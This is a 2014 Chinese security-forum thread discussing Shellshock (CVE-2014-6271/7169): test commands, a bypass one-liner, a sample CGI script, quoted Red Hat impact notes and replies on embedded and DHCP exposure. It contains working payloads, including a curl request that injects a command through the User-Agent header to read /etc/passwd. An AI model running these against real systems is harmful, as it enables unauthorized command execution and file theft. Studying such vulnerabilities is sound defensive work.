首页
社区
课程
招聘
[讨论]CVE-2014-6271/CVE-2014-7169(Bash bug/Shellshock) 的利用方式和影响范围讨论
发表于: 2014-9-26 08:44 4741

[讨论]CVE-2014-6271/CVE-2014-7169(Bash bug/Shellshock) 的利用方式和影响范围讨论

2014-9-26 08:44
4741
今天看到 CVE-2014-6271 着实是兴奋了一把,bash的利用门槛比OpenSSH低多了。顺手试了下手边的iOS/Android/OpenWrt通通中招

测试命令:
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

第一行显示vulnerable说明存在漏洞。

更新CVE-2014-7169,修复的系统依然存在绕过的可能:
env X='() { (a)=>\' bash -c "echo date"; cat echo

会生成一个echo文件,包含 bash -c 的执行结果
(AWS上早上更新的bash-4.1.2-15.19.amzn1.x86_64还有问题,不过目前bash-4.1.2-15.21.amzn1.x86_64已经修复了)

这是两篇相关的利用代码介绍:
CVE-2014-6271: BASH LETS YOU DO BAD THINGS. (SHELLSHOCK)
乌云:CVE-2014-6271资料汇总

上面那篇解释的比较清楚,假设有个使用bash的CGI路径为 http://192.168.0.1/poc.cgi:

#!/bin/bash
 
echo "Content-type: text/html"
echo ""
 
echo '<html>'
echo '<head>'
echo '<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">'
echo '<title>PoC</title>'
echo '</head>'
echo '<body>'
echo '<pre>'
/usr/bin/env
echo '</pre>'
echo '</body>'
echo '</html>'
 
exit 0


于是可以这样读取文件:

curl -A "() { foo;};echo;/bin/cat /etc/passwd" http://192.168.0.1/poc.cgi


这是乌云关于漏洞影响的说明:
在sshd配置中使用了ForceCommand用以限制远程用户执行命令,这个漏洞可以绕过限制去执行任何命令。一些Git和Subversion部署环境的限制Shell也会出现类似情况,OpenSSH通常用法没有问题。

Apache服务器使用mod_cgi或者mod_cgid,如果CGI脚本在BASH或者运行在子SHELL里都会受影响。子Shell中使用C的system/popen,Python中使用os.system/os.popen,PHP中使用system/exec(CGI模式)和Perl中使用open/system的情况都会受此漏洞影响。

PHP脚本执行在mod_php不会受影响。 DHCP客户端调用shell脚本接收远程恶意服务器的环境变量参数值的情况会被此漏洞利用。

守护进程和SUID程序在环境变量设置的环境下执行SHELL脚本也可能受到影响。

任何其他程序执行SHELL脚本时用BASH作为解释器都可能受影响。Shell脚本不导出的情况下不会受影响。


另外一篇文章还提到关于DHCP的,但没有搜到更进一步的资料:
Talked with @loganattwood OOB about timing attacks against DHCP lease expiry & passing shellcode via DHCP options. Nice privilege escalation scenario.


不过实际在家里的路由上测试,uhttpd下bash的脚本无法得到正确结果(返回The CGI process did not produce any response,换成sh确可以得到输出)。而看了几个app使用的内嵌HttpServer,大多调用的是busybox。于是想要和大家讨论下漏洞在移动设备上的影响

更新:看来嵌入式也并非无法使用。Twitter上有人提到了"A Wireless Hart network manager from Dust"的问题:


也有人提到有些嵌入式厂家将sh链接到了bash,而不是busybox
https://twitter.com/dozykraut/status/515074565199118336

[课程]FART 脱壳王!加量不加价!FART作者讲授!

上传的附件:
收藏
免费 0
支持
分享
最新回复 (5)
雪    币: 296
活跃值: (89)
能力值: ( LV15,RANK:340 )
在线值:
发帖
回帖
粉丝
2
找到redhat关于 Bash specially-crafted environment variables code injection attack 的原文:

ForceCommand is used in sshd configs to provide limited command execution capabilities for remote users. This flaw can be used to bypass that and provide arbitrary command execution. Some Git and Subversion deployments use such restricted shells. Regular use of OpenSSH is not affected because users already have shell access.

Apache server using mod_cgi or mod_cgid are affected if CGI scripts are either written in bash, or spawn subshells. Such subshells are implicitly used by system/popen in C, by os.system/os.popen in Python, system/exec in PHP (when run in CGI mode), and open/system in Perl if a shell is used (which depends on the command string).

PHP scripts executed with mod_php are not affected even if they spawn subshells.

DHCP clients invoke shell scripts to configure the system, with values taken from a potentially malicious server. This would allow arbitrary commands to be run, typically as root, on the DHCP client machine.

Various daemons and SUID/privileged programs may execute shell scripts with environment variable values set / influenced by the user, which would allow for arbitrary commands to be run.

Any other application which is hooked onto a shell or runs a shell script as using bash as the interpreter. Shell scripts which do not export variables are not vulnerable to this issue, even if they process untrusted content and store it in (unexported) shell variables and open subshells.


里面提到DHCP,出问题的地方显然在DHCP clients

DHCP clients invoke shell scripts to configure the system, with values taken from a potentially malicious server. This would allow arbitrary commands to be run, typically as root, on the DHCP client machine.
2014-9-26 08:59
0
雪    币: 135
活跃值: (63)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
3
学习一下。支持!
2014-9-26 09:03
0
雪    币: 62
活跃值: (946)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
4
昨天阿里云通知了这个漏洞,懒得修复...
2014-9-26 09:52
0
雪    币: 296
活跃值: (89)
能力值: ( LV15,RANK:340 )
在线值:
发帖
回帖
粉丝
5
确实。感觉服务器上没有加载 apache mod_cgi 就问题不大,mod_php不受影响。而嵌入式系统上,大部分使用busybox,也不奏效(OpenWrt默认的luci是lua,而写个bash脚本又跑不起来...)

目前就想看看那个DHCP clients怎么回事

ps: 就CVE-2014-7169的情况看,目前大部分修复了的也可以绕过。下面这个依然能够执行:
env X='() { (a)=>\' bash -c "echo ls /"; cat echo
2014-9-26 10:09
0
雪    币: 213
活跃值: (24)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
攻击DHCP client 是从dhcp服务器上发起的。
https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/
2014-9-28 09:39
0
游客
登录 | 注册 方可回帖
返回
//